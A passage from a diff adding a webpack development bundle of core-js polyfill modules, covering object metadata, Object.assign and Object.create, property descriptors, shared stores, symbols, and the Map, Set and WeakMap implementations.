+/*!**************************************************!*\
+ !*** ./node_modules/core-js/modules/_library.js ***!
+ \**************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = false;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_meta.js":
+/*!***********************************************!*\
+ !*** ./node_modules/core-js/modules/_meta.js ***!
+ \***********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var META = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('meta');
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var setDesc = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f;
+var id = 0;
+var isExtensible = Object.isExtensible || function () {
+ return true;
+};
+var FREEZE = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () {
+ return isExtensible(Object.preventExtensions({}));
+});
+var setMeta = function (it) {
+ setDesc(it, META, { value: {
+ i: 'O' + ++id, // object ID
+ w: {} // weak collections IDs
+ } });
+};
+var fastKey = function (it, create) {
+ // return primitive with prefix
+ if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;
+ if (!has(it, META)) {
+ // can't set metadata to uncaught frozen object
+ if (!isExtensible(it)) return 'F';
+ // not necessary to add metadata
+ if (!create) return 'E';
+ // add missing metadata
+ setMeta(it);
+ // return object ID
+ } return it[META].i;
+};
+var getWeak = function (it, create) {
+ if (!has(it, META)) {
+ // can't set metadata to uncaught frozen object
+ if (!isExtensible(it)) return true;
+ // not necessary to add metadata
+ if (!create) return false;
+ // add missing metadata
+ setMeta(it);
+ // return hash weak collections IDs
+ } return it[META].w;
+};
+// add metadata on freeze-family methods calling
+var onFreeze = function (it) {
+ if (FREEZE && meta.NEED && isExtensible(it) && !has(it, META)) setMeta(it);
+ return it;
+};
+var meta = module.exports = {
+ KEY: META,
+ NEED: false,
+ fastKey: fastKey,
+ getWeak: getWeak,
+ onFreeze: onFreeze
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_metadata.js":
+/*!***************************************************!*\
+ !*** ./node_modules/core-js/modules/_metadata.js ***!
+ \***************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var Map = __webpack_require__(/*! ./es6.map */ "./node_modules/core-js/modules/es6.map.js");
+var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js");
+var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('metadata');
+var store = shared.store || (shared.store = new (__webpack_require__(/*! ./es6.weak-map */ "./node_modules/core-js/modules/es6.weak-map.js"))());
+
+var getOrCreateMetadataMap = function (target, targetKey, create) {
+ var targetMetadata = store.get(target);
+ if (!targetMetadata) {
+ if (!create) return undefined;
+ store.set(target, targetMetadata = new Map());
+ }
+ var keyMetadata = targetMetadata.get(targetKey);
+ if (!keyMetadata) {
+ if (!create) return undefined;
+ targetMetadata.set(targetKey, keyMetadata = new Map());
+ } return keyMetadata;
+};
+var ordinaryHasOwnMetadata = function (MetadataKey, O, P) {
+ var metadataMap = getOrCreateMetadataMap(O, P, false);
+ return metadataMap === undefined ? false : metadataMap.has(MetadataKey);
+};
+var ordinaryGetOwnMetadata = function (MetadataKey, O, P) {
+ var metadataMap = getOrCreateMetadataMap(O, P, false);
+ return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);
+};
+var ordinaryDefineOwnMetadata = function (MetadataKey, MetadataValue, O, P) {
+ getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);
+};
+var ordinaryOwnMetadataKeys = function (target, targetKey) {
+ var metadataMap = getOrCreateMetadataMap(target, targetKey, false);
+ var keys = [];
+ if (metadataMap) metadataMap.forEach(function (_, key) { keys.push(key); });
+ return keys;
+};
+var toMetaKey = function (it) {
+ return it === undefined || typeof it == 'symbol' ? it : String(it);
+};
+var exp = function (O) {
+ $export($export.S, 'Reflect', O);
+};
+
+module.exports = {
+ store: store,
+ map: getOrCreateMetadataMap,
+ has: ordinaryHasOwnMetadata,
+ get: ordinaryGetOwnMetadata,
+ set: ordinaryDefineOwnMetadata,
+ keys: ordinaryOwnMetadataKeys,
+ key: toMetaKey,
+ exp: exp
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-assign.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-assign.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+// 19.1.2.1 Object.assign(target, source, ...)
+var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js");
+var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js");
+var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js");
+var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js");
+var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js");
+var $assign = Object.assign;
+
+// should work with symbols and should have deterministic property order (V8 bug)
+module.exports = !$assign || __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () {
+ var A = {};
+ var B = {};
+ // eslint-disable-next-line no-undef
+ var S = Symbol();
+ var K = 'abcdefghijklmnopqrst';
+ A[S] = 7;
+ K.split('').forEach(function (k) { B[k] = k; });
+ return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
+}) ? function assign(target, source) { // eslint-disable-line no-unused-vars
+ var T = toObject(target);
+ var aLen = arguments.length;
+ var index = 1;
+ var getSymbols = gOPS.f;
+ var isEnum = pIE.f;
+ while (aLen > index) {
+ var S = IObject(arguments[index++]);
+ var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S);
+ var length = keys.length;
+ var j = 0;
+ var key;
+ while (length > j) if (isEnum.call(S, key = keys[j++])) T[key] = S[key];
+ } return T;
+} : $assign;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-create.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-create.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var dPs = __webpack_require__(/*! ./_object-dps */ "./node_modules/core-js/modules/_object-dps.js");
+var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js");
+var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO');
+var Empty = function () { /* empty */ };
+var PROTOTYPE = 'prototype';
+
+// Create object with fake `null` prototype: use iframe Object with cleared prototype
+var createDict = function () {
+ // Thrash, waste and sodomy: IE GC bug
+ var iframe = __webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('iframe');
+ var i = enumBugKeys.length;
+ var lt = '<';
+ var gt = '>';
+ var iframeDocument;
+ iframe.style.display = 'none';
+ __webpack_require__(/*! ./_html */ "./node_modules/core-js/modules/_html.js").appendChild(iframe);
+ iframe.src = 'javascript:'; // eslint-disable-line no-script-url
+ // createDict = iframe.contentWindow.Object;
+ // html.removeChild(iframe);
+ iframeDocument = iframe.contentWindow.document;
+ iframeDocument.open();
+ iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
+ iframeDocument.close();
+ createDict = iframeDocument.F;
+ while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]];
+ return createDict();
+};
+
+module.exports = Object.create || function create(O, Properties) {
+ var result;
+ if (O !== null) {
+ Empty[PROTOTYPE] = anObject(O);
+ result = new Empty();
+ Empty[PROTOTYPE] = null;
+ // add "__proto__" for Object.getPrototypeOf polyfill
+ result[IE_PROTO] = O;
+ } else result = createDict();
+ return Properties === undefined ? result : dPs(result, Properties);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-dp.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-dp.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js");
+var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js");
+var dP = Object.defineProperty;
+
+exports.f = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperty : function defineProperty(O, P, Attributes) {
+ anObject(O);
+ P = toPrimitive(P, true);
+ anObject(Attributes);
+ if (IE8_DOM_DEFINE) try {
+ return dP(O, P, Attributes);
+ } catch (e) { /* empty */ }
+ if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!');
+ if ('value' in Attributes) O[P] = Attributes.value;
+ return O;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-dps.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-dps.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js");
+
+module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperties : function defineProperties(O, Properties) {
+ anObject(O);
+ var keys = getKeys(Properties);
+ var length = keys.length;
+ var i = 0;
+ var P;
+ while (length > i) dP.f(O, P = keys[i++], Properties[P]);
+ return O;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-gopd.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-gopd.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js");
+var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js");
+var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js");
+var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js");
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js");
+var gOPD = Object.getOwnPropertyDescriptor;
+
+exports.f = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? gOPD : function getOwnPropertyDescriptor(O, P) {
+ O = toIObject(O);
+ P = toPrimitive(P, true);
+ if (IE8_DOM_DEFINE) try {
+ return gOPD(O, P);
+ } catch (e) { /* empty */ }
+ if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-gops.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-gops.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+exports.f = Object.getOwnPropertySymbols;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-gpo.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-gpo.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js");
+var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO');
+var ObjectProto = Object.prototype;
+
+module.exports = Object.getPrototypeOf || function (O) {
+ O = toObject(O);
+ if (has(O, IE_PROTO)) return O[IE_PROTO];
+ if (typeof O.constructor == 'function' && O instanceof O.constructor) {
+ return O.constructor.prototype;
+ } return O instanceof Object ? ObjectProto : null;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-keys-internal.js":
+/*!***************************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-keys-internal.js ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js");
+var arrayIndexOf = __webpack_require__(/*! ./_array-includes */ "./node_modules/core-js/modules/_array-includes.js")(false);
+var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO');
+
+module.exports = function (object, names) {
+ var O = toIObject(object);
+ var i = 0;
+ var result = [];
+ var key;
+ for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key);
+ // Don't enum bug & hidden keys
+ while (names.length > i) if (has(O, key = names[i++])) {
+ ~arrayIndexOf(result, key) || result.push(key);
+ }
+ return result;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-keys.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-keys.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 19.1.2.14 / 15.2.3.14 Object.keys(O)
+var $keys = __webpack_require__(/*! ./_object-keys-internal */ "./node_modules/core-js/modules/_object-keys-internal.js");
+var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js");
+
+module.exports = Object.keys || function keys(O) {
+ return $keys(O, enumBugKeys);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_object-pie.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_object-pie.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+exports.f = {}.propertyIsEnumerable;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_property-desc.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_property-desc.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (bitmap, value) {
+ return {
+ enumerable: !(bitmap & 1),
+ configurable: !(bitmap & 2),
+ writable: !(bitmap & 4),
+ value: value
+ };
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_redefine-all.js":
+/*!*******************************************************!*\
+ !*** ./node_modules/core-js/modules/_redefine-all.js ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js");
+module.exports = function (target, src, safe) {
+ for (var key in src) redefine(target, key, src[key], safe);
+ return target;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_redefine.js":
+/*!***************************************************!*\
+ !*** ./node_modules/core-js/modules/_redefine.js ***!
+ \***************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js");
+var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js");
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var SRC = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('src');
+var TO_STRING = 'toString';
+var $toString = Function[TO_STRING];
+var TPL = ('' + $toString).split(TO_STRING);
+
+__webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").inspectSource = function (it) {
+ return $toString.call(it);
+};
+
+(module.exports = function (O, key, val, safe) {
+ var isFunction = typeof val == 'function';
+ if (isFunction) has(val, 'name') || hide(val, 'name', key);
+ if (O[key] === val) return;
+ if (isFunction) has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));
+ if (O === global) {
+ O[key] = val;
+ } else if (!safe) {
+ delete O[key];
+ hide(O, key, val);
+ } else if (O[key]) {
+ O[key] = val;
+ } else {
+ hide(O, key, val);
+ }
+// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
+})(Function.prototype, TO_STRING, function toString() {
+ return typeof this == 'function' && this[SRC] || $toString.call(this);
+});
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_set-proto.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_set-proto.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// Works with __proto__ only. Old v8 can't work with null proto objects.
+/* eslint-disable no-proto */
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var check = function (O, proto) {
+ anObject(O);
+ if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!");
+};
+module.exports = {
+ set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
+ function (test, buggy, set) {
+ try {
+ set = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js")(Function.call, __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f(Object.prototype, '__proto__').set, 2);
+ set(test, []);
+ buggy = !(test instanceof Array);
+ } catch (e) { buggy = true; }
+ return function setPrototypeOf(O, proto) {
+ check(O, proto);
+ if (buggy) O.__proto__ = proto;
+ else set(O, proto);
+ return O;
+ };
+ }({}, false) : undefined),
+ check: check
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_set-species.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_set-species.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js");
+var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js");
+var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js");
+var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species');
+
+module.exports = function (KEY) {
+ var C = global[KEY];
+ if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, {
+ configurable: true,
+ get: function () { return this; }
+ });
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_set-to-string-tag.js":
+/*!************************************************************!*\
+ !*** ./node_modules/core-js/modules/_set-to-string-tag.js ***!
+ \************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var def = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f;
+var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js");
+var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag');
+
+module.exports = function (it, tag, stat) {
+ if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag });
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_shared-key.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_shared-key.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('keys');
+var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js");
+module.exports = function (key) {
+ return shared[key] || (shared[key] = uid(key));
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_shared.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/_shared.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js");
+var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js");
+var SHARED = '__core-js_shared__';
+var store = global[SHARED] || (global[SHARED] = {});
+
+(module.exports = function (key, value) {
+ return store[key] || (store[key] = value !== undefined ? value : {});
+})('versions', []).push({
+ version: core.version,
+ mode: __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js") ? 'pure' : 'global',
+ copyright: '© 2019 Denis Pushkarev (zloirock.ru)'
+});
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-absolute-index.js":
+/*!************************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-absolute-index.js ***!
+ \************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js");
+var max = Math.max;
+var min = Math.min;
+module.exports = function (index, length) {
+ index = toInteger(index);
+ return index < 0 ? max(index + length, 0) : min(index, length);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-integer.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-integer.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+// 7.1.4 ToInteger
+var ceil = Math.ceil;
+var floor = Math.floor;
+module.exports = function (it) {
+ return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-iobject.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-iobject.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// to indexed object, toObject with fallback for non-array-like ES3 strings
+var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js");
+var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js");
+module.exports = function (it) {
+ return IObject(defined(it));
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-length.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-length.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 7.1.15 ToLength
+var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js");
+var min = Math.min;
+module.exports = function (it) {
+ return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-object.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-object.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 7.1.13 ToObject(argument)
+var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js");
+module.exports = function (it) {
+ return Object(defined(it));
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_to-primitive.js":
+/*!*******************************************************!*\
+ !*** ./node_modules/core-js/modules/_to-primitive.js ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 7.1.1 ToPrimitive(input [, PreferredType])
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+// instead of the ES6 spec version, we didn't implement @@toPrimitive case
+// and the second argument - flag - preferred type is a string
+module.exports = function (it, S) {
+ if (!isObject(it)) return it;
+ var fn, val;
+ if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val;
+ if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val;
+ if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val;
+ throw TypeError("Can't convert object to primitive value");
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_uid.js":
+/*!**********************************************!*\
+ !*** ./node_modules/core-js/modules/_uid.js ***!
+ \**********************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+var id = 0;
+var px = Math.random();
+module.exports = function (key) {
+ return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_validate-collection.js":
+/*!**************************************************************!*\
+ !*** ./node_modules/core-js/modules/_validate-collection.js ***!
+ \**************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+module.exports = function (it, TYPE) {
+ if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!');
+ return it;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_wks.js":
+/*!**********************************************!*\
+ !*** ./node_modules/core-js/modules/_wks.js ***!
+ \**********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var store = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('wks');
+var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js");
+var Symbol = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Symbol;
+var USE_SYMBOL = typeof Symbol == 'function';
+
+var $exports = module.exports = function (name) {
+ return store[name] || (store[name] =
+ USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
+};
+
+$exports.store = store;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/core.get-iterator-method.js":
+/*!******************************************************************!*\
+ !*** ./node_modules/core-js/modules/core.get-iterator-method.js ***!
+ \******************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js");
+var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator');
+var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js");
+module.exports = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").getIteratorMethod = function (it) {
+ if (it != undefined) return it[ITERATOR]
+ || it['@@iterator']
+ || Iterators[classof(it)];
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es6.map.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/es6.map.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js");
+var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js");
+var MAP = 'Map';
+
+// 23.1 Map Objects
+module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(MAP, function (get) {
+ return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); };
+}, {
+ // 23.1.3.6 Map.prototype.get(key)
+ get: function get(key) {
+ var entry = strong.getEntry(validate(this, MAP), key);
+ return entry && entry.v;
+ },
+ // 23.1.3.9 Map.prototype.set(key, value)
+ set: function set(key, value) {
+ return strong.def(validate(this, MAP), key === 0 ? 0 : key, value);
+ }
+}, strong, true);
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es6.set.js":
+/*!*************************************************!*\
+ !*** ./node_modules/core-js/modules/es6.set.js ***!
+ \*************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js");
+var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js");
+var SET = 'Set';
+
+// 23.2 Set Objects
+module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(SET, function (get) {
+ return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); };
+}, {
+ // 23.2.3.1 Set.prototype.add(value)
+ add: function add(value) {
+ return strong.def(validate(this, SET), value = value === 0 ? 0 : value, value);
+ }
+}, strong);
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es6.weak-map.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/es6.weak-map.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var each = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(0);
+var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js");
+var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js");
+var assign = __webpack_require__(/*! ./_object-assign */ "./node_modules/core-js/modules/_object-assign.js");
